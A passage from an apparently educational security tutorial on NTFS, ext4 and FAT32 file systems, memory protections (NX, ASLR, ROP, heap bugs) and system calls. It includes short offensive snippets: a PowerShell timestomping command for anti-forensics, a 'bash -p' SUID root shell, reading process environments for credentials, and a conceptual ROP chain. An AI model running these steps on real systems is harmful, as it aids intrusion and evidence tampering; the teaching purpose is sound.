&lt;li&gt;&lt;strong&gt;Modified ($SI_Modified)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Accessed ($SI_Accessed)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MFT Record Changed ($SI_MFTChanged)&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And four more in the File Name attribute:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;$FN_Created, $FN_Modified, $FN_Accessed, $FN_MFTChanged&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Timestomping:&lt;/strong&gt;&lt;br&gt;
Attackers routinely modify timestamps to blend malicious files with legitimate ones or to destroy the forensic timeline. PowerShell makes this trivial:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Modify timestamps to evade detection&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Get-Item&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;malware.exe&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;CreationTime&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"01/01/2020 12:00:00"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Get-Item&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;malware.exe&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;LastWriteTime&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"01/01/2020 12:00:00"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The forensic catch:&lt;/strong&gt;&lt;br&gt;
Timestomping only modifies the &lt;code&gt;$Standard_Information&lt;/code&gt; timestamps — the ones visible to normal tools. The &lt;code&gt;$File_Name&lt;/code&gt; timestamps are updated by the kernel itself and are much harder to modify from user mode. Forensic tools like &lt;strong&gt;Autopsy&lt;/strong&gt; and &lt;strong&gt;MFTECmd&lt;/strong&gt; compare both sets of timestamps. A discrepancy between &lt;code&gt;$SI&lt;/code&gt; and &lt;code&gt;$FN&lt;/code&gt; timestamps is a strong indicator of timestomping.&lt;/p&gt;
&lt;h3&gt;
  
  
  6.3 ext4 — Linux File System
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;ext4 (Fourth Extended File System)&lt;/strong&gt; is the default file system for most Linux distributions. It is a journaling file system descended from ext2 and ext3.&lt;/p&gt;
&lt;h4&gt;
  
  
  ext4 Structure
&lt;/h4&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Disk Layout:
┌─────────────────────────────────────────────────┐
│  Superblock  │  Group Descriptors  │  ...        │
├─────────────┬───────────────────────────────────┤
│  Block Group 0  │  Block Group 1  │  Block Group N │
│                 │                 │               │
│  ┌──────────┐   │  ┌──────────┐   │               │
│  │ Inode    │   │  │ Inode    │   │               │
│  │ Table    │   │  │ Table    │   │               │
│  ├──────────┤   │  ├──────────┤   │               │
│  │ Data     │   │  │ Data     │   │               │
│  │ Blocks   │   │  │ Blocks   │   │               │
│  └──────────┘   │  └──────────┘   │               │
└─────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;strong&gt;The Inode:&lt;/strong&gt;&lt;br&gt;
The inode is ext4's equivalent of NTFS's MFT record. Every file and directory has an inode that stores:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Inode Contents:
├── File type (regular file, directory, symlink, device...)
├── Permissions (rwxrwxrwx)
├── Owner (UID) and Group (GID)
├── Timestamps (atime, mtime, ctime, crtime on ext4)
├── File size
├── Hard link count
├── Pointers to data blocks
└── Extended attributes
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Critical point:&lt;/strong&gt; The inode does NOT store the filename. Filenames are stored in directory entries that point to inodes. This separation is fundamental to Linux forensics.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# View inode information&lt;/span&gt;
&lt;span class="nb"&gt;stat&lt;/span&gt; /etc/passwd

&lt;span class="c"&gt;# Find a file's inode number&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; /etc/passwd

&lt;span class="c"&gt;# Find all files with a specific inode (hard links)&lt;/span&gt;
find / &lt;span class="nt"&gt;-inum&lt;/span&gt; &amp;lt;inode_number&amp;gt; 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Linux File Permissions — The Security Model
&lt;/h4&gt;

&lt;p&gt;Linux uses a simple but powerful permission model based on three categories and three permission bits:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-rwxr-xr--  1  root  wheel  4096  Jan 1 00:00  file.sh
 │││││││││
 ││││││││└── Others: r-- (read only)
 │││││││└─── Others execute: no
 ││││││└──── Others write: no
 │││││└───── Group: r-x (read + execute)
 ││││└────── Group execute: yes
 │││└─────── Group write: no
 ││└──────── Owner: rwx (read + write + execute)
 │└───────── Owner execute: yes
 └────────── File type: - (regular file)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Octal representation:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;r = 4, w = 2, x = 1

rwxr-xr-- = 754
rwxrwxrwx = 777 (dangerous — world writable and executable)
rw-r--r-- = 644 (typical for config files)
rwx------ = 700 (owner only, good for private scripts)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;SUID, SGID, and Sticky Bit — The Dangerous Permissions:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;These are special permission bits that are frequently misconfigured and exploited for privilege escalation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SUID (Set User ID — bit 4000):&lt;/strong&gt;&lt;br&gt;
When set on an executable, it runs with the privileges of the file's &lt;strong&gt;owner&lt;/strong&gt;, not the user executing it. If root owns a SUID binary, it runs as root for anyone who executes it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Find all SUID files on the system&lt;/span&gt;
find / &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-4000&lt;/span&gt; &lt;span class="nt"&gt;-type&lt;/span&gt; f 2&amp;gt;/dev/null

&lt;span class="c"&gt;# Example: /usr/bin/passwd is SUID root&lt;/span&gt;
&lt;span class="c"&gt;# A normal user can change their own password because&lt;/span&gt;
&lt;span class="c"&gt;# passwd needs to write to /etc/shadow (root-only file)&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /usr/bin/passwd
&lt;span class="c"&gt;# Output: -rwsr-xr-x 1 root root ... /usr/bin/passwd&lt;/span&gt;
&lt;span class="c"&gt;#              ^-- 's' means SUID is set&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Exploiting SUID for privilege escalation:&lt;/strong&gt;&lt;br&gt;
If a SUID binary has a vulnerability or is misconfigured (e.g., a SUID shell), it can be exploited to gain root:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# If bash is somehow SUID (misconfiguration):&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /bin/bash
&lt;span class="c"&gt;# -rwsr-xr-x 1 root root ... /bin/bash&lt;/span&gt;
bash &lt;span class="nt"&gt;-p&lt;/span&gt;  &lt;span class="c"&gt;# -p preserves effective UID → instant root shell&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;GTFOBins (gtfobins.github.io) is an invaluable reference listing SUID binary exploitation techniques for dozens of standard utilities.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SGID (Set Group ID — bit 2000):&lt;/strong&gt;&lt;br&gt;
Similar to SUID but sets the effective group ID. On directories, new files inherit the directory's group — useful for shared directories, exploitable if misconfigured.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Sticky Bit (bit 1000):&lt;/strong&gt;&lt;br&gt;
On directories, prevents users from deleting files they do not own. &lt;code&gt;/tmp&lt;/code&gt; uses this so all users can write to it but cannot delete each other's files.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /tmp
&lt;span class="c"&gt;# drwxrwxrwt  ...  /tmp&lt;/span&gt;
&lt;span class="c"&gt;#          ^-- 't' means sticky bit is set&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  /proc — The Virtual File System That Exposes Everything
&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;/proc&lt;/code&gt; is a pseudo-filesystem in Linux that provides a window into the kernel's view of the system. Nothing in &lt;code&gt;/proc&lt;/code&gt; is actually on disk — it is generated dynamically by the kernel.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Every running process has a directory in /proc&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; /proc/
&lt;span class="c"&gt;# Output includes: 1  2  3  ...  &amp;lt;PID of every process&amp;gt;  ...  cpuinfo  meminfo&lt;/span&gt;

&lt;span class="c"&gt;# Investigate a specific process&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /proc/&amp;lt;PID&amp;gt;/cmdline     &lt;span class="c"&gt;# Command line arguments&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /proc/&amp;lt;PID&amp;gt;/status      &lt;span class="c"&gt;# Detailed process status&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /proc/&amp;lt;PID&amp;gt;/maps        &lt;span class="c"&gt;# Memory map (address ranges, permissions)&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /proc/&amp;lt;PID&amp;gt;/net/tcp     &lt;span class="c"&gt;# Network connections of this process&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /proc/&amp;lt;PID&amp;gt;/fd/      &lt;span class="c"&gt;# Open file descriptors&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /proc/&amp;lt;PID&amp;gt;/environ     &lt;span class="c"&gt;# Environment variables (may contain secrets!)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Security Insight:&lt;/strong&gt; &lt;code&gt;/proc/&amp;lt;PID&amp;gt;/environ&lt;/code&gt; can contain environment variables including API keys, passwords, and tokens passed to processes at startup. This is a common source of credential exposure in poorly configured applications. During privilege escalation, examining the environment of high-privilege processes you can read can yield credentials.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  6.4 FAT32 — The Legacy Standard
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;FAT32 (File Allocation Table 32)&lt;/strong&gt; is a simple, old file system designed in the MS-DOS era. It lacks security features but is universally compatible:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;No user permissions or ownership&lt;/li&gt;
&lt;li&gt;No journaling (data loss risk on improper unmount)&lt;/li&gt;
&lt;li&gt;Maximum file size: &lt;strong&gt;4 GB&lt;/strong&gt; (a critical limitation)&lt;/li&gt;
&lt;li&gt;Maximum volume size: &lt;strong&gt;2 TB&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;No alternate data streams&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;When you encounter FAT32 in security contexts:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;USB drives and embedded systems&lt;/strong&gt; — Most USB drives and SD cards are FAT32 for compatibility. Many embedded devices, PLCs, and industrial HMIs use FAT32 for removable media. FAT32 has no access control — anyone with physical access to the media can read everything.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;UEFI EFI System Partition&lt;/strong&gt; — The partition that UEFI reads bootloaders from is FAT32. This is why UEFI firmware can read bootloaders before any OS is loaded — UEFI has a built-in FAT32 driver.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Forensic recovery&lt;/strong&gt; — FAT32's simple structure makes file recovery relatively straightforward with tools like Foremost and PhotoRec.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;OT Devices&lt;/strong&gt; — Many legacy industrial devices store configuration files and firmware on FAT32 formatted flash cards. These can be removed, copied, modified, and reinserted — a significant physical security concern in OT environments.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  7. Memory Management
&lt;/h2&gt;

&lt;h3&gt;
  
  
  7.1 Virtual Memory — The Foundation of Process Isolation
&lt;/h3&gt;

&lt;p&gt;We introduced virtual memory in Stage 0.1. Here we go deeper into the mechanisms and their security implications.&lt;/p&gt;

&lt;p&gt;Every process operates in its own &lt;strong&gt;virtual address space&lt;/strong&gt;. The process believes it has a large, contiguous block of memory entirely to itself. In reality, this virtual space is backed by:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Physical RAM (for actively used pages)&lt;/li&gt;
&lt;li&gt;The page file/swap space on disk (for infrequently used pages)&lt;/li&gt;
&lt;li&gt;Memory-mapped files (the executable and its libraries)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The &lt;strong&gt;MMU (Memory Management Unit)&lt;/strong&gt; in the CPU performs the translation from virtual to physical addresses using &lt;strong&gt;page tables&lt;/strong&gt; maintained by the kernel.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Process Virtual Address → [MMU + Page Tables] → Physical RAM Address
                                                         OR
                                               Page File on Disk (page fault → load)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.2 Pages, Page Faults, and Swapping
&lt;/h3&gt;

&lt;p&gt;Memory is managed in fixed-size units called &lt;strong&gt;pages&lt;/strong&gt; (typically 4 KB, sometimes 2 MB or 1 GB for huge pages).&lt;/p&gt;

&lt;p&gt;When a process accesses a virtual address:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The MMU checks the page table entry for that address.&lt;/li&gt;
&lt;li&gt;If the page is in RAM (&lt;strong&gt;present bit set&lt;/strong&gt;) → immediate access, fast.&lt;/li&gt;
&lt;li&gt;If the page is &lt;strong&gt;not in RAM&lt;/strong&gt; → &lt;strong&gt;page fault&lt;/strong&gt; exception.&lt;/li&gt;
&lt;li&gt;The kernel handles the page fault: loads the page from disk into RAM, updates the page table.&lt;/li&gt;
&lt;li&gt;The instruction is retried — this time it succeeds.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Security Relevance — The Page File:&lt;/strong&gt;&lt;br&gt;
The Windows page file (&lt;code&gt;pagefile.sys&lt;/code&gt;) and Linux swap partition contain pages that were evicted from RAM. This can include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Decrypted content from applications that encrypt data at rest&lt;/li&gt;
&lt;li&gt;Passwords from memory&lt;/li&gt;
&lt;li&gt;Encryption keys&lt;/li&gt;
&lt;li&gt;Browser history and cached content&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In forensic investigations, the page file is a valuable source of evidence that many investigators overlook. Volatile memory forensics tools like &lt;strong&gt;Volatility&lt;/strong&gt; can process page file content alongside RAM dumps.&lt;/p&gt;
&lt;h3&gt;
  
  
  7.3 Memory Permissions and the NX/XD Bit
&lt;/h3&gt;

&lt;p&gt;Each page in virtual memory has associated &lt;strong&gt;permission bits&lt;/strong&gt; that control what operations are allowed:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Permission&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Read (R)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Process can read data from this page&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Write (W)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Process can write data to this page&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Execute (X)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CPU can execute instructions on this page&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The &lt;strong&gt;NX (No-Execute)&lt;/strong&gt; bit on AMD processors and &lt;strong&gt;XD (Execute Disable)&lt;/strong&gt; bit on Intel processors allow the OS to mark pages as non-executable. Pages containing data should never be executable. This is the basis of &lt;strong&gt;DEP (Data Execution Prevention)&lt;/strong&gt; on Windows and &lt;strong&gt;NX protection&lt;/strong&gt; on Linux.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Before NX/DEP:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Stack Buffer Overflow Attack:
1. Overflow buffer on stack
2. Overwrite return address to point to attacker's shellcode on the stack
3. CPU executes shellcode directly from the stack
→ Game over
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;After NX/DEP:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Stack Buffer Overflow Attack attempt:
1. Overflow buffer on stack
2. Overwrite return address to point to attacker's shellcode on the stack
3. CPU tries to execute stack page
4. NX bit: this page is marked non-executable → CPU raises exception
→ Program crashes, attack fails
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The attacker's response — Return-Oriented Programming (ROP):&lt;/strong&gt;&lt;br&gt;
Since code injection is blocked, attackers stopped injecting new code. Instead, they chain together small snippets of existing executable code called &lt;strong&gt;gadgets&lt;/strong&gt; — sequences of 2-5 instructions ending in a &lt;code&gt;ret&lt;/code&gt; instruction. By overwriting the stack with addresses of these gadgets, attackers can build Turing-complete computation entirely from existing, legitimate executable code.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Stack after overflow (ROP chain):
[Address of gadget 1]  → executes instructions, then ret
[Address of gadget 2]  → executes instructions, then ret
[Address of gadget 3]  → executes instructions, then ret
[Address of syscall]   → executes execve("/bin/sh") → shell
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is one of the most important concepts in modern exploitation. You will study it in depth during Stage 4 and beyond, but understanding page permissions and NX is the foundation.&lt;/p&gt;

&lt;h3&gt;
  
  
  7.4 ASLR — Address Space Layout Randomisation
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;ASLR&lt;/strong&gt; randomises the base addresses of the stack, heap, and shared libraries in virtual memory on each execution. Without ASLR, the attacker knows exactly where the stack is and where system libraries like &lt;code&gt;libc&lt;/code&gt; are loaded. ROP chains and other attacks require knowing the addresses of gadgets, which means they need to know where libraries are loaded.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Without ASLR (same every run):
  Stack:   0x7fff0000
  libc:    0xb7e00000
  Heap:    0x08048000

With ASLR (different every run):
  Stack:   0x7f4a2000  ← different
  libc:    0xb6c14000  ← different
  Heap:    0x55a3f000  ← different
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;ASLR Bypasses:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Information leaks&lt;/strong&gt; — Vulnerabilities that disclose a memory address allow the attacker to calculate the base address of libraries, defeating ASLR.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Brute force&lt;/strong&gt; — On 32-bit systems, the address space is small enough that brute force is feasible. On 64-bit systems, the space is too large.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Heap spraying&lt;/strong&gt; — Fill large portions of memory with shellcode so that a random jump lands in it.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;KASLR (Kernel ASLR):&lt;/strong&gt;&lt;br&gt;
Applies the same randomisation to the kernel's own memory layout. Many modern kernel exploits begin with an information leak to defeat KASLR before attempting privilege escalation.&lt;/p&gt;
&lt;h3&gt;
  
  
  7.5 Heap Memory and Heap Vulnerabilities
&lt;/h3&gt;

&lt;p&gt;The &lt;strong&gt;heap&lt;/strong&gt; is the region of memory used for dynamic allocation — when your program calls &lt;code&gt;malloc()&lt;/code&gt; in C or &lt;code&gt;new&lt;/code&gt; in C++.&lt;/p&gt;

&lt;p&gt;The heap is managed by the allocator (part of the C runtime library). The allocator maintains internal metadata (headers and footers on each allocation) that tracks the size and status of each chunk.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Heap vulnerabilities are some of the most complex and impactful in security:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Use-After-Free (UAF):&lt;/strong&gt;&lt;br&gt;
A pointer to freed memory is used after the memory has been returned to the allocator. If the attacker can control what gets allocated in that freed region, they can control what the dangling pointer accesses.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;malloc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;free&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// buf is now a dangling pointer&lt;/span&gt;
&lt;span class="c1"&gt;// Attacker allocates something else that occupies the same region&lt;/span&gt;
&lt;span class="c1"&gt;// buf still points to that region&lt;/span&gt;
&lt;span class="n"&gt;strcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;attacker_data&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;  &lt;span class="c1"&gt;// Writing to attacker-controlled memory&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;UAF vulnerabilities have been responsible for some of the most critical browser exploits. The Chrome V8 engine, Firefox's SpiderMonkey, and Internet Explorer have all had critical UAF vulnerabilities used in real-world attacks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Heap Overflow:&lt;/strong&gt;&lt;br&gt;
Writing beyond the allocated buffer into adjacent heap chunks, overwriting allocator metadata or other allocations.&lt;/p&gt;


&lt;h2&gt;
  
  
  8. System Calls
&lt;/h2&gt;
&lt;h3&gt;
  
  
  8.1 What Is a System Call
&lt;/h3&gt;

&lt;p&gt;A system call (syscall) is the mechanism by which user-mode programs request services from the kernel. It is the only legitimate crossing point between user mode and kernel mode.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Every meaningful action your program takes is ultimately a system call:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;User Action&lt;/th&gt;
&lt;th&gt;System Call (Linux)&lt;/th&gt;
&lt;th&gt;System Call (Windows)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Open a file&lt;/td&gt;
&lt;td&gt;&lt;code&gt;open()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;NtOpenFile()&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Read from file&lt;/td&gt;
&lt;td&gt;&lt;code&gt;read()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;NtReadFile()&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Create process&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;fork()&lt;/code&gt; / &lt;code&gt;execve()&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;&lt;code&gt;NtCreateProcess()&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Allocate memory&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;mmap()&lt;/code&gt; / &lt;code&gt;brk()&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;&lt;code&gt;NtAllocateVirtualMemory()&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Send network data&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sendto()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;NtDeviceIoControlFile()&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Create a thread&lt;/td&gt;
&lt;td&gt;&lt;code&gt;clone()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;NtCreateThread()&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;h3&gt;
  
  
  8.2 How System Calls Work at the Machine Level
&lt;/h3&gt;

&lt;p&gt;On x86-64 Linux:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;User Mode Code:
  mov rax, 0         ; System call number 0 = read()
  mov rdi, fd        ; Argument 1: file descriptor
  mov rsi, buffer    ; Argument 2: buffer address
  mov rdx, count     ; Argument 3: byte count
  syscall            ; Trigger the system call

[CPU switches to Ring 0 — kernel mode]

Kernel:
  ; Looks up syscall number 0 in sys_call_table
  ; Validates arguments
  ; Performs the actual read operation
  ; Places return value in rax
  ; Returns to user mode via sysret
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Linux system call table:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# View system call numbers&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /usr/include/asm/unistd_64.h | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"#define __NR_"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  8.3 System Calls and Security Monitoring
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;This is one of the most important topics for detection engineering and malware analysis.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Every malicious action that malware performs must ultimately go through system calls. Malware cannot:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Create a file without calling &lt;code&gt;open()&lt;/code&gt;/&lt;code&gt;NtCreateFile()&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Start a process without calling &lt;code&gt;fork()&lt;/code&gt;/&lt;code&gt;CreateProcess()&lt;/code&gt;
&lt;/li&gt;
